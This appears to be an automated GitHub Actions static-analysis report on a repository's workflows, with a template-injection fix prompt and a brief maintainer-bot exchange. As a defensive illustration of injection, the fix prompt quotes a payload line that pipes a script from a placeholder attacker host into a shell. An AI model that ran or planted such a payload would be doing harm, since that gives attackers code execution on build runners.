[static-analysis] Report - 2026-04-09

[github-actions]

Analysis Summary

Today's compilation failed with unknown flag: --runner-guard — the same failure seen on 2026-04-08 (3 consecutive failures). This report is based on the last successful scan: 2026-04-04 (§23986109480).

• Tools Used: zizmor, poutine, actionlint (runner-guard unavailable — see note below)
• Total Findings (2026-04-04): 9,956
• Workflows Scanned: 181
• Scan Status: ⚠️ Compile failed today — data from last successful scan (5 days ago)

Note on runner-guard: The --runner-guard flag was introduced in PR #25281 but has not yet been merged into the deployed gh-aw CLI/MCP server version. Compilation has failed on every run since 2026-04-08. Runner-guard findings are unavailable until the flag is deployed.

Findings by Tool (2026-04-04 baseline)

Tool	Total	Critical	High	Medium	Low
zizmor (security)	4,924	0	1,117	3,703	104
poutine (supply chain)	65	34	14	17	0
actionlint (linting)	4,967	—	—	—	—
runner-guard (taint analysis)	N/A	—	—	—	—

Clustered Findings by Tool and Type

Zizmor Security Findings

Issue Type	Severity	Count	Notes
secrets-outside-env	Medium	7,398 occurrences / 4,924 findings	Affects all 181 workflows
unpinned-uses	High	2,182	All 181 workflows via github/gh-aw-actions/setup@v0.65.6
template-injection	High	214	~47 workflows affected
obfuscation	Low	44	Base64-encoded data in steps
artipacked	Medium	6	Artifact poisoning risk
secrets-inherit	Medium	2	Secrets inherited by called workflows
github-env	High	2	Dangerous GITHUB_ENV use (dev-hawk)

Poutine Supply Chain Findings

Issue Type	Severity	Count	Affected Workflows
untrusted_checkout_exec	Error	34	smoke-workflow-call, smoke-workflow-call-with-inputs
default_permissions_on_risky_events	Warning	14	Multiple workflows
github_action_from_unverified_creator_used	Warning	9	Multiple workflows
unverified_script_exec	Warning	4	Multiple workflows
unpinnable_action	Warning	2	Multiple workflows
pr_runs_on_self_hosted	Warning	2	dev, smoke-copilot-arm

Actionlint Linting Issues

Issue Type	Count	Notes
shellcheck SC2086	4,680	Double-quote vars to prevent word splitting
shellcheck SC2129	176	Use grouped redirects { cmd; } >> file
permissions	85	Unknown copilot-requests permission scope
runner-label	12	Runner label issues
expression	13	Undefined output properties

Runner-Guard Taint Analysis Findings

⚠️ Unavailable — compilation fails with unknown flag: --runner-guard. Pending merge of PR #25281 into the deployed gh-aw CLI/MCP server version.

Issues created: none (runner-guard data unavailable)

Top Priority Issues

1. Template Injection (High Severity)

• Tool: zizmor
• Count: 214 findings across ~47 workflows
• Severity: High
• Affected: audit-workflows, auto-triage-issues, contribution-check, copilot-pr-nlp-analysis, copilot-session-insights, copilot-token-audit, daily-code-metrics, daily-copilot-token-report, daily-doc-updater, daily-firewall-report, daily-integrity-analysis, daily-issues-report, daily-multi-device-docs-tester, daily-news, daily-performance-summary, daily-repo-chronicle, deep-report, discussion-task-miner, docs-noob-tester, github-mcp-structural-analysis, and ~27 more
• Description: Code injection via GitHub Actions expression template expansion in run: steps — attacker-controlled values from github.event.* or PR/issue data used directly in shell commands
• Reference: (docs.zizmor.sh/redacted)

2. Unpinned Action References (High Severity)

• Tool: zizmor
• Count: 2,182 findings
• Severity: High
• Affected: All 181 workflows via github/gh-aw-actions/setup@v0.65.6
• Description: Actions referenced by tag instead of SHA — supply chain attack surface
• Reference: (docs.zizmor.sh/redacted)

3. Untrusted Checkout Execution (Critical — Poutine)

• Tool: poutine
• Count: 34 findings
• Severity: Error
• Affected: smoke-workflow-call, smoke-workflow-call-with-inputs
• Description: Arbitrary code execution risk from untrusted code in PR checkouts
• Reference: (docs.poutine.dev/redacted)

Fix Suggestion for Template Injection

Issue: Template injection via $\{\{ github.event.* }} in run: steps
Severity: High
Affected Workflows: ~47 workflows

Prompt to Copilot Agent:

You are fixing a security vulnerability identified by zizmor: template injection.

**Vulnerability**: template-injection
**Rule**: (docs.zizmor.sh/redacted)

**Current Issue**:
GitHub Actions expressions like `$\{\{ github.event.pull_request.title }}` or
`$\{\{ github.event.issue.body }}` are expanded directly into shell `run:` steps.
An attacker can craft a PR title or issue body containing shell metacharacters
(e.g., `$(curl attacker.com | sh)`) that get executed in the runner.

**Required Fix**:
Move the GitHub expression into an environment variable, then reference that
variable in the shell command. Environment variables are passed safely and are
NOT subject to shell injection.

**Example**:
Before:
```yaml
- name: Process PR title
  run: echo "$\{\{ github.event.pull_request.title }}"
```

After:
```yaml
- name: Process PR title
  env:
    PR_TITLE: $\{\{ github.event.pull_request.title }}
  run: echo "$PR_TITLE"
```

Apply this fix to every `run:` step that uses a `$\{\{ github.event.* }}`,
`$\{\{ github.head_ref }}`, `$\{\{ github.actor }}`, or similar untrusted
expression directly in the shell command body.

Affected workflow files (lock.yml):
- audit-workflows.lock.yml
- auto-triage-issues.lock.yml
- contribution-check.lock.yml
- copilot-pr-nlp-analysis.lock.yml
- copilot-session-insights.lock.yml
- copilot-token-audit.lock.yml
- daily-code-metrics.lock.yml
- daily-copilot-token-report.lock.yml
- daily-doc-updater.lock.yml
- daily-firewall-report.lock.yml
- daily-integrity-analysis.lock.yml
- daily-issues-report.lock.yml
- daily-multi-device-docs-tester.lock.yml
- daily-news.lock.yml
- daily-performance-summary.lock.yml
- daily-repo-chronicle.lock.yml
- deep-report.lock.yml
- discussion-task-miner.lock.yml
- docs-noob-tester.lock.yml
- github-mcp-structural-analysis.lock.yml
(and ~27 additional workflows)

View All Findings Details (2026-04-04 baseline)

Zizmor Severity Breakdown

Severity	Count
High	1,117
Medium	3,703
Low	22
Informational	82

Actionlint Shellcheck Details

SC2086 accounts for 94.2% of all actionlint findings (4,680/4,967).
The predominant pattern is unquoted variable expansions in bash:

# Before (flagged)
bash \$\{RUNNER_TEMP}/script.sh

# After (fixed)
bash "\$\{RUNNER_TEMP}/script.sh"

Poutine Growth Analysis

Poutine findings grew from 6 (2026-03-29) → 65 (2026-04-04), a 983% increase in 6 days,
driven by new workflows triggering default_permissions_on_risky_events and
github_action_from_unverified_creator_used rules.

Historical Trends

Date	Total	Zizmor	Poutine	Actionlint	Workflows	Status
2026-03-29	7,383	3,455	6	3,928	178	✅
2026-03-30	8,520	3,953	6	4,561	178	✅
2026-03-31	8,562	3,977	19	4,566	178	✅
2026-04-01	8,601	3,992	19	4,590	179	✅
2026-04-02	8,600	3,762	19	4,819	179	✅
2026-04-03	9,757	4,789	39	4,929	183	✅
2026-04-04	9,956	4,924	65	4,967	181	✅ Last good
2026-04-08	—	—	—	—	0	❌ compile_failed
2026-04-09	—	—	—	—	0	❌ compile_failed

Trend (last 12 days): Total findings +35% (7,383 → 9,956), workflows +1.7% (178 → 181).
Compile failures: 3 consecutive failures since 2026-04-08 — unblocked by merging PR #25281.

Key Observations

• template-injection: Stable at ~214 High findings across ~47 workflows — persistent unresolved
• secrets-outside-env: Pervasive, affects all workflows (~7,398 occurrences)
• unpinned-uses spike: Grew from 5 to 2,182 between 2026-04-02 and 2026-04-04 via github/gh-aw-actions/setup@v0.65.6
• poutine growth: 983% increase in 6 days (6 → 65 findings)

Recommendations

1. Immediate: Merge PR Add --runner-guard to compile; wire into static-analysis-report workflow #25281 to restore compile capability and enable runner-guard scanning
2. High priority: Fix template-injection in ~47 affected workflows using the fix prompt above
3. High priority: Pin github/gh-aw-actions/setup to a SHA instead of @v0.65.6
4. Short-term: Address untrusted_checkout_exec in smoke workflow call files
5. Short-term: Fix SC2086 shellcheck warnings — add double-quoting to shell variable expansions
6. Long-term: Establish per-workflow permissions to resolve default_permissions_on_risky_events
7. Prevention: Update workflow templates to use env vars for all untrusted GitHub context values

Next Steps

• Merge PR Add --runner-guard to compile; wire into static-analysis-report workflow #25281 to re-enable --runner-guard flag and restore daily scans
• Apply template-injection fix prompt to all 47+ affected workflows
• Pin github/gh-aw-actions/setup action to a specific SHA
• Address poutine untrusted_checkout_exec in smoke-workflow-call files
• Bulk-fix SC2086 shellcheck warnings with automated quoting
• Review default_permissions_on_risky_events and add explicit permissions: blocks

References:

• §23986109480 — Last successful scan (2026-04-04)
• §24155206193 — Failed scan (2026-04-08)
• §24210057204 — Today's failed scan (2026-04-09)

Generated by Static Analysis Report · ● 166.9K · ◷

• expires on Apr 16, 2026, 7:54 PM UTC

[pelikhan]

/q this agent workflow should build gh-aw from sources, not using a release. Disable runner-guard.

[github-actions]

🎩 Mission equipment ready! Q has optimized your workflow. Use wisely, 007! 🔫

[github-actions]

Issue created: #25531

🎩 Equipped by Q